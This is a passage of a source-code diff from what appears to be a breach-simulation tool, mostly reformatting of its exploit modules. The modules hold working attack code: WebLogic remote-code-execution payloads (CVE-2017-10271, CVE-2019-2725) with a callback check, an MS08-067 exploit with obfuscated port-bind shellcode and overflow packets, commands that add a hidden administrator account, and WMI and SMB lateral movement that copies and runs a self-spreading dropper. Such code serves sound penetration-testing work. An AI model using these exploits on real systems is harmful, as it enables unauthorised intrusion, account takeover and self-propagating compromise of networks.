_TARGET_OS_TYPE = ["linux", "windows"] + _EXPLOITED_SERVICE = "Weblogic" def _exploit_host(self): exploiters = [WebLogic20192725, WebLogic201710271] @@ -49,37 +47,43 @@ class WebLogicExploiter(HostExploiter): # https://github.com/Luffin/CVE-2017-10271 # CVE: CVE-2017-10271 class WebLogic201710271(WebRCE): - URLS = ["/wls-wsat/CoordinatorPortType", - "/wls-wsat/CoordinatorPortType11", - "/wls-wsat/ParticipantPortType", - "/wls-wsat/ParticipantPortType11", - "/wls-wsat/RegistrationPortTypeRPC", - "/wls-wsat/RegistrationPortTypeRPC11", - "/wls-wsat/RegistrationRequesterPortType", - "/wls-wsat/RegistrationRequesterPortType11"] + URLS = [ + "/wls-wsat/CoordinatorPortType", + "/wls-wsat/CoordinatorPortType11", + "/wls-wsat/ParticipantPortType", + "/wls-wsat/ParticipantPortType11", + "/wls-wsat/RegistrationPortTypeRPC", + "/wls-wsat/RegistrationPortTypeRPC11", + "/wls-wsat/RegistrationRequesterPortType", + "/wls-wsat/RegistrationRequesterPortType11", + ] _TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE _EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE def __init__(self, host): - super(WebLogic201710271, self).__init__(host, {'linux': '/tmp/monkey.sh', - 'win32': 'monkey32.exe', - 'win64': 'monkey64.exe'}) + super(WebLogic201710271, self).__init__( + host, {"linux": "/tmp/monkey.sh", "win32": "monkey32.exe", "win64": "monkey64.exe"} + ) def get_exploit_config(self): exploit_config = super(WebLogic201710271, self).get_exploit_config() - exploit_config['blind_exploit'] = True - exploit_config['stop_checking_urls'] = True - exploit_config['url_extensions'] = WebLogic201710271.URLS + exploit_config["blind_exploit"] = True + exploit_config["stop_checking_urls"] = True + exploit_config["url_extensions"] = WebLogic201710271.URLS return exploit_config def exploit(self, url, command): - if 'linux' in self.host.os['type']: - payload = self.get_exploit_payload('/bin/sh', '-c', command + ' 1> /dev/null 2> /dev/null') + if "linux" in self.host.os["type"]: + payload = self.get_exploit_payload( + "/bin/sh", "-c", command + " 1> /dev/null 2> /dev/null" + ) else: - payload = self.get_exploit_payload('cmd', '/c', command + ' 1> NUL 2> NUL') + payload = self.get_exploit_payload("cmd", "/c", command + " 1> NUL 2> NUL") try: - post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False) # noqa: DUO123 + post( # noqa: DUO123 + url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False + ) except Exception as e: LOG.error("Connection error: %s" % e) return False @@ -106,7 +110,7 @@ class WebLogic201710271(WebRCE): if httpd.get_requests > 0: # Add all urls because we don't know which one is vulnerable self.vulnerable_urls.extend(urls) - self.exploit_info['vulnerable_urls'] = self.vulnerable_urls + self.exploit_info["vulnerable_urls"] = self.vulnerable_urls else: LOG.info("No vulnerable urls found, skipping.") @@ -115,7 +119,9 @@ class WebLogic201710271(WebRCE): def check_if_exploitable_weblogic(self, url, httpd): payload = self.get_test_payload(ip=httpd.local_ip, port=httpd.local_port) try: - post(url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False) # noqa: DUO123 + post( # noqa: DUO123 + url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False + ) except exceptions.ReadTimeout: # Our request will not get response thus we get ReadTimeout error pass @@ -152,7 +158,8 @@ class WebLogic201710271(WebRCE): :param command: command itself :return: Formatted payload """ - empty_payload = ''' + empty_payload = """ @@ -175,7 +182,7 @@ class WebLogic201710271(WebRCE): - ''' + """ payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command) return payload @@ -187,7 +194,8 @@ class WebLogic201710271(WebRCE): :param port: Server's port :return: Formatted payload """ - generic_check_payload = ''' + generic_check_payload = """ @@ -202,7 +210,7 @@ class WebLogic201710271(WebRCE): - ''' + """ payload = generic_check_payload.format(host=ip, port=port) return payload @@ -226,10 +234,10 @@ class WebLogic201710271(WebRCE): class S(BaseHTTPRequestHandler): @staticmethod def do_GET(): - LOG.info('Server received a request from vulnerable machine') + LOG.info("Server received a request from vulnerable machine") self.get_requests += 1 - LOG.info('Server waiting for exploited machine request...') + LOG.info("Server waiting for exploited machine request...") httpd = HTTPServer((self.local_ip, self.local_port), S) httpd.daemon = True self.lock.release() @@ -258,21 +266,22 @@ class WebLogic20192725(WebRCE): def get_exploit_config(self): exploit_config = super(WebLogic20192725, self).get_exploit_config() - exploit_config['url_extensions'] = WebLogic20192725.URLS - exploit_config['blind_exploit'] = True - exploit_config['dropper'] = True + exploit_config["url_extensions"] = WebLogic20192725.URLS + exploit_config["blind_exploit"] = True + exploit_config["dropper"] = True return exploit_config def execute_remote_monkey(self, url, path, dropper=False): - # Without delay exploiter tries to launch monkey file that is still finishing up after downloading. + # Without delay exploiter tries to launch monkey file that is still finishing up after + # downloading. time.sleep(WebLogic20192725.DELAY_BEFORE_EXPLOITING_SECONDS) super(WebLogic20192725, self).execute_remote_monkey(url, path, dropper) def exploit(self, url, command): - if 'linux' in self.host.os['type']: - payload = self.get_exploit_payload('/bin/sh', '-c', command) + if "linux" in self.host.os["type"]: + payload = self.get_exploit_payload("/bin/sh", "-c", command) else: - payload = self.get_exploit_payload('cmd', '/c', command) + payload = self.get_exploit_payload("cmd", "/c", command) try: resp = post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT) return resp @@ -281,7 +290,7 @@ class WebLogic20192725(WebRCE): return False def check_if_exploitable(self, url): - headers = copy.deepcopy(HEADERS).update({'SOAPAction': ''}) + headers = copy.deepcopy(HEADERS).update({"SOAPAction": ""}) res = post(url, headers=headers, timeout=EXECUTION_TIMEOUT) if res.status_code == 500 and "env:Client" in res.text: return True @@ -297,9 +306,10 @@ class WebLogic20192725(WebRCE): :param command: command itself :return: Formatted payload """ - empty_payload = ''' + empty_payload = """ + xmlns:wsa=\"http://www.w3.org/2005/08/addressing\" + xmlns:asy=\"http://www.bea.com/async/AsyncResponseService\"> xx xx @@ -323,6 +333,6 @@ class WebLogic20192725(WebRCE): - ''' + """ payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command) return payload diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index 7690f33c1..1e92eadf5 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -16,90 +16,96 @@ from impacket.dcerpc.v5 import transport from common.utils.shellcode_obfuscator import clarify from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_target_monkey +from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS from infection_monkey.network.smbfinger import SMBFinger from infection_monkey.network.tools import check_tcp_port +from infection_monkey.utils.commands import build_monkey_commandline +from infection_monkey.utils.random_password_generator import get_random_password LOG = getLogger(__name__) # Portbind shellcode from metasploit; Binds port to TCP port 4444 -OBFUSCATED_SHELLCODE = (b'4\xf6kPF\xc5\x9bI,\xab\x1d' - b'\xa0\x92Y\x88\x1b$\xa0hK\x03\x0b\x0b\xcf\xe7\xff\x9f\x9d\xb6&J' - b'\xdf\x1b\xad\x1b5\xaf\x84\xed\x99\x01\'\xa8\x03\x90\x01\xec\x13' - b'\xfb\xf9!\x11\x1dc\xd9*\xb4\xd8\x9c\xf1\xb8\xb9\xa1;\x93\xc1\x8dq' - b'\xe4\xe1\xe5?%\x1a\x96\x96\xb5\x94\x19\xb5o\x0c\xdb\x89Cq\x14M\xf8' - b'\x02\xfb\xe5\x88hL\xc4\xcdd\x90\x8bc\xff\xe3\xb8z#\x174\xbd\x00J' - b'\x1c\xc1\xccM\x94\x90tm\x89N"\xd4-') +OBFUSCATED_SHELLCODE = ( + b"4\xf6kPF\xc5\x9bI,\xab\x1d" + b"\xa0\x92Y\x88\x1b$\xa0hK\x03\x0b\x0b\xcf\xe7\xff\x9f\x9d\xb6&J" + b"\xdf\x1b\xad\x1b5\xaf\x84\xed\x99\x01'\xa8\x03\x90\x01\xec\x13" + b"\xfb\xf9!\x11\x1dc\xd9*\xb4\xd8\x9c\xf1\xb8\xb9\xa1;\x93\xc1\x8dq" + b"\xe4\xe1\xe5?%\x1a\x96\x96\xb5\x94\x19\xb5o\x0c\xdb\x89Cq\x14M\xf8" + b"\x02\xfb\xe5\x88hL\xc4\xcdd\x90\x8bc\xff\xe3\xb8z#\x174\xbd\x00J" + b'\x1c\xc1\xccM\x94\x90tm\x89N"\xd4-' +) SHELLCODE = clarify(OBFUSCATED_SHELLCODE).decode() -XP_PACKET = ("\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43" - "\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01" - "\x00\x00\x5c\x00\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47" - "\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48" - "\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49" - "\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a" - "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x90" - "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" - "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" - "\x90\x90\x90\x90\x90\x90\x90" + SHELLCODE + "\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00" - "\x2e\x00\x5c\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x08\x04\x02" - "\x00\xc2\x17\x89\x6f\x41\x41\x41\x41\x07\xf8\x88\x6f\x41\x41\x41\x41\x41\x41\x41\x41" - "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" - "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x90\x90\x90\x90\x90\x90\x90\x90" - "\xeb\x62\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\xe8\x03\x00\x00\x02\x00\x00" - "\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00") +XP_PACKET = ( + "\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43" + "\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01" + "\x00\x00\x5c\x00\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47" + "\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48" + "\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49" + "\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a" + "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90" + SHELLCODE + "\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00" + "\x2e\x00\x5c\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x08\x04\x02" + "\x00\xc2\x17\x89\x6f\x41\x41\x41\x41\x07\xf8\x88\x6f\x41\x41\x41\x41\x41\x41\x41\x41" + "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" + "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x90\x90\x90\x90\x90\x90\x90\x90" + "\xeb\x62\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\xe8\x03\x00\x00\x02\x00\x00" + "\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00" +) # Payload for Windows 2000 target -PAYLOAD_2000 = '\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00' -PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41' -PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41' -PAYLOAD_2000 += '\x41\x41' -PAYLOAD_2000 += '\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x04\x8b\x00\xff\xe0' -PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43' -PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43' -PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43' -PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43' -PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43' -PAYLOAD_2000 += '\xeb\xcc' -PAYLOAD_2000 += '\x00\x00' +PAYLOAD_2000 = "\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" +PAYLOAD_2000 += "\x41\x41\x41\x41\x41\x41\x41\x41" +PAYLOAD_2000 += "\x41\x41\x41\x41\x41\x41\x41\x41" +PAYLOAD_2000 += "\x41\x41" +PAYLOAD_2000 += "\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x04\x8b\x00\xff\xe0" +PAYLOAD_2000 += "\x43\x43\x43\x43\x43\x43\x43\x43" +PAYLOAD_2000 += "\x43\x43\x43\x43\x43\x43\x43\x43" +PAYLOAD_2000 += "\x43\x43\x43\x43\x43\x43\x43\x43" +PAYLOAD_2000 += "\x43\x43\x43\x43\x43\x43\x43\x43" +PAYLOAD_2000 += "\x43\x43\x43\x43\x43\x43\x43\x43" +PAYLOAD_2000 += "\xeb\xcc" +PAYLOAD_2000 += "\x00\x00" # Payload for Windows 2003[SP2] target -PAYLOAD_2003 = '\x41\x00\x5c\x00' -PAYLOAD_2003 += '\x2e\x00\x2e\x00\x5c\x00\x2e\x00' -PAYLOAD_2003 += '\x2e\x00\x5c\x00\x0a\x32\xbb\x77' -PAYLOAD_2003 += '\x8b\xc4\x66\x05\x60\x04\x8b\x00' -PAYLOAD_2003 += '\x50\xff\xd6\xff\xe0\x42\x84\xae' -PAYLOAD_2003 += '\xbb\x77\xff\xff\xff\xff\x01\x00' -PAYLOAD_2003 += '\x01\x00\x01\x00\x01\x00\x43\x43' -PAYLOAD_2003 += '\x43\x43\x37\x48\xbb\x77\xf5\xff' -PAYLOAD_2003 += '\xff\xff\xd1\x29\xbc\x77\xf4\x75' -PAYLOAD_2003 += '\xbd\x77\x44\x44\x44\x44\x9e\xf5' -PAYLOAD_2003 += '\xbb\x77\x54\x13\xbf\x77\x37\xc6' -PAYLOAD_2003 += '\xba\x77\xf9\x75\xbd\x77\x00\x00' +PAYLOAD_2003 = "\x41\x00\x5c\x00" +PAYLOAD_2003 += "\x2e\x00\x2e\x00\x5c\x00\x2e\x00" +PAYLOAD_2003 += "\x2e\x00\x5c\x00\x0a\x32\xbb\x77" +PAYLOAD_2003 += "\x8b\xc4\x66\x05\x60\x04\x8b\x00" +PAYLOAD_2003 += "\x50\xff\xd6\xff\xe0\x42\x84\xae" +PAYLOAD_2003 += "\xbb\x77\xff\xff\xff\xff\x01\x00" +PAYLOAD_2003 += "\x01\x00\x01\x00\x01\x00\x43\x43" +PAYLOAD_2003 += "\x43\x43\x37\x48\xbb\x77\xf5\xff" +PAYLOAD_2003 += "\xff\xff\xd1\x29\xbc\x77\xf4\x75" +PAYLOAD_2003 += "\xbd\x77\x44\x44\x44\x44\x9e\xf5" +PAYLOAD_2003 += "\xbb\x77\x54\x13\xbf\x77\x37\xc6" +PAYLOAD_2003 += "\xba\x77\xf9\x75\xbd\x77\x00\x00" class WindowsVersion(IntEnum): @@ -141,10 +147,10 @@ class SRVSVC_Exploit(object): LOG.debug("Connected to %s", target_rpc_name) self._dce = self._trans.DCERPC_class(self._trans) - self._dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0'))) + self._dce.bind(uuid.uuidtup_to_bin(("4b324fc8-1670-01d3-1278-5a47bf6ee188", "3.0"))) dce_packet = self._build_dce_packet() - self._dce.call(0x1f, dce_packet) # 0x1f (or 31)- NetPathCanonicalize Operation + self._dce.call(0x1F, dce_packet) # 0x1f (or 31)- NetPathCanonicalize Operation LOG.debug("Exploit sent to %s successfully...", self._target) LOG.debug("Target machine should be listening over port %d now", self.get_telnet_port()) @@ -157,52 +163,57 @@ class SRVSVC_Exploit(object): if self.os_version == WindowsVersion.WindowsXP: return XP_PACKET # Constructing Malicious Packet - dce_packet = '\x01\x00\x00\x00' - dce_packet += '\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00' + dce_packet = "\x01\x00\x00\x00" + dce_packet += "\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00" dce_packet += SHELLCODE - dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41' - dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41' - dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41' - dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41' - dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41' - dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41' - dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41' - dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41' - dce_packet += '\x00\x00\x00\x00' - dce_packet += '\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00' + dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41" + dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41" + dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41" + dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41" + dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41" + dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41" + dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41" + dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41" + dce_packet += "\x00\x00\x00\x00" + dce_packet += "\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00" dce_packet += self._payload - dce_packet += '\x00\x00\x00\x00' - dce_packet += '\x02\x00\x00\x00\x02\x00\x00\x00' - dce_packet += '\x00\x00\x00\x00\x02\x00\x00\x00' - dce_packet += '\x5c\x00\x00\x00\x01\x00\x00\x00' - dce_packet += '\x01\x00\x00\x00' + dce_packet += "\x00\x00\x00\x00" + dce_packet += "\x02\x00\x00\x00\x02\x00\x00\x00" + dce_packet += "\x00\x00\x00\x00\x02\x00\x00\x00" + dce_packet += "\x5c\x00\x00\x00\x01\x00\x00\x00" + dce_packet += "\x01\x00\x00\x00" return dce_packet class Ms08_067_Exploiter(HostExploiter): - _TARGET_OS_TYPE = ['windows'] - _EXPLOITED_SERVICE = 'Microsoft Server Service' - _windows_versions = {'Windows Server 2003 3790 Service Pack 2': WindowsVersion.Windows2003_SP2, - 'Windows Server 2003 R2 3790 Service Pack 2': WindowsVersion.Windows2003_SP2, - 'Windows 5.1': WindowsVersion.WindowsXP} + _TARGET_OS_TYPE = ["windows"] + _EXPLOITED_SERVICE = "Microsoft Server Service" + _windows_versions = { + "Windows Server 2003 3790 Service Pack 2": WindowsVersion.Windows2003_SP2, + "Windows Server 2003 R2 3790 Service Pack 2": WindowsVersion.Windows2003_SP2, + "Windows 5.1": WindowsVersion.WindowsXP, + } def __init__(self, host): super(Ms08_067_Exploiter, self).__init__(host) def is_os_supported(self): - if self.host.os.get('type') in self._TARGET_OS_TYPE and \ - self.host.os.get('version') in list(self._windows_versions.keys()): + if self.host.os.get("type") in self._TARGET_OS_TYPE and self.host.os.get("version") in list( + self._windows_versions.keys() + ): return True - if not self.host.os.get('type') or ( - self.host.os.get('type') in self._TARGET_OS_TYPE and not self.host.os.get('version')): + if not self.host.os.get("type") or ( + self.host.os.get("type") in self._TARGET_OS_TYPE and not self.host.os.get("version") + ): is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445) if is_smb_open: smb_finger = SMBFinger() if smb_finger.get_host_fingerprint(self.host): - return self.host.os.get('type') in self._TARGET_OS_TYPE and \ - self.host.os.get('version') in list(self._windows_versions.keys()) + return self.host.os.get("type") in self._TARGET_OS_TYPE and self.host.os.get( + "version" + ) in list(self._windows_versions.keys()) return False def _exploit_host(self): @@ -212,22 +223,28 @@ class Ms08_067_Exploiter(HostExploiter): LOG.info("Can't find suitable monkey executable for host %r", self.host) return False - os_version = self._windows_versions.get(self.host.os.get('version'), WindowsVersion.Windows2003_SP2) + os_version = self._windows_versions.get( + self.host.os.get("version"), WindowsVersion.Windows2003_SP2 + ) exploited = False + random_password = get_random_password() for _ in range(self._config.ms08_067_exploit_attempts): exploit = SRVSVC_Exploit(target_addr=self.host.ip_addr, os_version=os_version) try: sock = exploit.start() - sock.send("cmd /c (net user {} {} /add) &&" - " (net localgroup administrators {} /add)\r\n".format( - self._config.user_to_add, - self._config.remote_user_pass, - self._config.user_to_add).encode()) + sock.send( + "cmd /c (net user {} {} /add) &&" + " (net localgroup administrators {} /add)\r\n".format( + self._config.user_to_add, + random_password, + self._config.user_to_add, + ).encode() + ) time.sleep(2) - reply = sock.recv(1000) + sock.recv(1000) LOG.debug("Exploited into %r using MS08-067", self.host) exploited = True @@ -241,20 +258,24 @@ class Ms08_067_Exploiter(HostExploiter): return False # copy the file remotely using SMB - remote_full_path = SmbTools.copy_file(self.host, - src_path, - self._config.dropper_target_path_win_32, - self._config.user_to_add, - self._config.remote_user_pass) + remote_full_path = SmbTools.copy_file( + self.host, + src_path, + self._config.dropper_target_path_win_32, + self._config.user_to_add, + random_password, + ) if not remote_full_path: # try other passwords for administrator for password in self._config.exploit_password_list: - remote_full_path = SmbTools.copy_file(self.host, - src_path, - self._config.dropper_target_path_win_32, - "Administrator", - password) + remote_full_path = SmbTools.copy_file( + self.host, + src_path, + self._config.dropper_target_path_win_32, + "Administrator", + password, + ) if remote_full_path: break @@ -263,16 +284,20 @@ class Ms08_067_Exploiter(HostExploiter): # execute the remote dropper in case the path isn't final if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): - cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, - get_monkey_depth() - 1, - SRVSVC_Exploit.TELNET_PORT, - self._config.dropper_target_path_win_32) + cmdline = DROPPER_CMDLINE_WINDOWS % { + "dropper_path": remote_full_path + } + build_monkey_commandline( + self.host, + get_monkey_depth() - 1, + SRVSVC_Exploit.TELNET_PORT, + self._config.dropper_target_path_win_32, + ) else: - cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ - build_monkey_commandline(self.host, - get_monkey_depth() - 1, - vulnerable_port=SRVSVC_Exploit.TELNET_PORT) + cmdline = MONKEY_CMDLINE_WINDOWS % { + "monkey_path": remote_full_path + } + build_monkey_commandline( + self.host, get_monkey_depth() - 1, vulnerable_port=SRVSVC_Exploit.TELNET_PORT + ) try: sock.send(("start %s\r\n" % (cmdline,)).encode()) @@ -286,7 +311,11 @@ class Ms08_067_Exploiter(HostExploiter): except socket.error: pass - LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", - remote_full_path, self.host, cmdline) + LOG.info( + "Executed monkey '%s' on remote victim %r (cmdline=%r)", + remote_full_path, + self.host, + cmdline, + ) return True diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 348fd230c..c89b2d5ea 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -7,18 +7,19 @@ from impacket.dcerpc.v5.rpcrt import DCERPCException from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_target_monkey +from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException, WmiTools from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS +from infection_monkey.utils.commands import build_monkey_commandline LOG = logging.getLogger(__name__) class WmiExploiter(HostExploiter): - _TARGET_OS_TYPE = ['windows'] + _TARGET_OS_TYPE = ["windows"] EXPLOIT_TYPE = ExploitType.BRUTE_FORCE - _EXPLOITED_SERVICE = 'WMI (Windows Management Instrumentation)' + _EXPLOITED_SERVICE = "WMI (Windows Management Instrumentation)" VULNERABLE_PORT = 135 def __init__(self, host): @@ -38,8 +39,10 @@ class WmiExploiter(HostExploiter): password_hashed = self._config.hash_sensitive_data(password) lm_hash_hashed = self._config.hash_sensitive_data(lm_hash) ntlm_hash_hashed = self._config.hash_sensitive_data(ntlm_hash) - creds_for_logging = "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): " \ - "({},{},{},{})".format(user, password_hashed, lm_hash_hashed, ntlm_hash_hashed) + creds_for_logging = ( + "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): " + "({},{},{},{})".format(user, password_hashed, lm_hash_hashed, ntlm_hash_hashed) + ) LOG.debug(("Attempting to connect %r using WMI with " % self.host) + creds_for_logging) wmi_connection = WmiTools.WmiConnection() @@ -48,14 +51,20 @@ class WmiExploiter(HostExploiter): wmi_connection.connect(self.host, user, password, None, lm_hash, ntlm_hash) except AccessDeniedException: self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) - LOG.debug(("Failed connecting to %r using WMI with " % self.host) + creds_for_logging) + LOG.debug( + ("Failed connecting to %r using WMI with " % self.host) + creds_for_logging + ) continue except DCERPCException: self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) - LOG.debug(("Failed connecting to %r using WMI with " % self.host) + creds_for_logging) + LOG.debug( + ("Failed connecting to %r using WMI with " % self.host) + creds_for_logging + ) continue except socket.error: - LOG.debug(("Network error in WMI connection to %r with " % self.host) + creds_for_logging) + LOG.debug( + ("Network error in WMI connection to %r with " % self.host) + creds_for_logging + ) return False except Exception as exc: LOG.debug( @@ -68,9 +77,12 @@ class WmiExploiter(HostExploiter): self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) # query process list and check if monkey already running on victim - process_list = WmiTools.list_object(wmi_connection, "Win32_Process", - fields=("Caption",), - where="Name='%s'" % ntpath.split(src_path)[-1]) + process_list = WmiTools.list_object( + wmi_connection, + "Win32_Process", + fields=("Caption",), + where="Name='%s'" % ntpath.split(src_path)[-1], + ) if process_list: wmi_connection.close() @@ -78,45 +90,63 @@ class WmiExploiter(HostExploiter): return False # copy the file remotely using SMB - remote_full_path = SmbTools.copy_file(self.host, - src_path, - self._config.dropper_target_path_win_32, - user, - password, - lm_hash, - ntlm_hash, - self._config.smb_download_timeout) + remote_full_path = SmbTools.copy_file( + self.host, + src_path, + self._config.dropper_target_path_win_32, + user, + password, + lm_hash, + ntlm_hash, + self._config.smb_download_timeout, + ) if not remote_full_path: wmi_connection.close() return False # execute the remote dropper in case the path isn't final elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): - cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, - get_monkey_depth() - 1, - WmiExploiter.VULNERABLE_PORT, - self._config.dropper_target_path_win_32) + cmdline = DROPPER_CMDLINE_WINDOWS % { + "dropper_path": remote_full_path + } + build_monkey_commandline( + self.host, + get_monkey_depth() - 1, + WmiExploiter.VULNERABLE_PORT, + self._config.dropper_target_path_win_32, + ) else: - cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ - build_monkey_commandline(self.host, - get_monkey_depth() - 1, - WmiExploiter.VULNERABLE_PORT) + cmdline = MONKEY_CMDLINE_WINDOWS % { + "monkey_path": remote_full_path + } + build_monkey_commandline( + self.host, get_monkey_depth() - 1, WmiExploiter.VULNERABLE_PORT + ) # execute the remote monkey - result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline, - ntpath.split(remote_full_path)[0], - None) + result = WmiTools.get_object(wmi_connection, "Win32_Process").Create( + cmdline, ntpath.split(remote_full_path)[0], None + ) if (0 != result.ProcessId) and (not result.ReturnValue): - LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, cmdline=%r)", - remote_full_path, self.host, result.ProcessId, 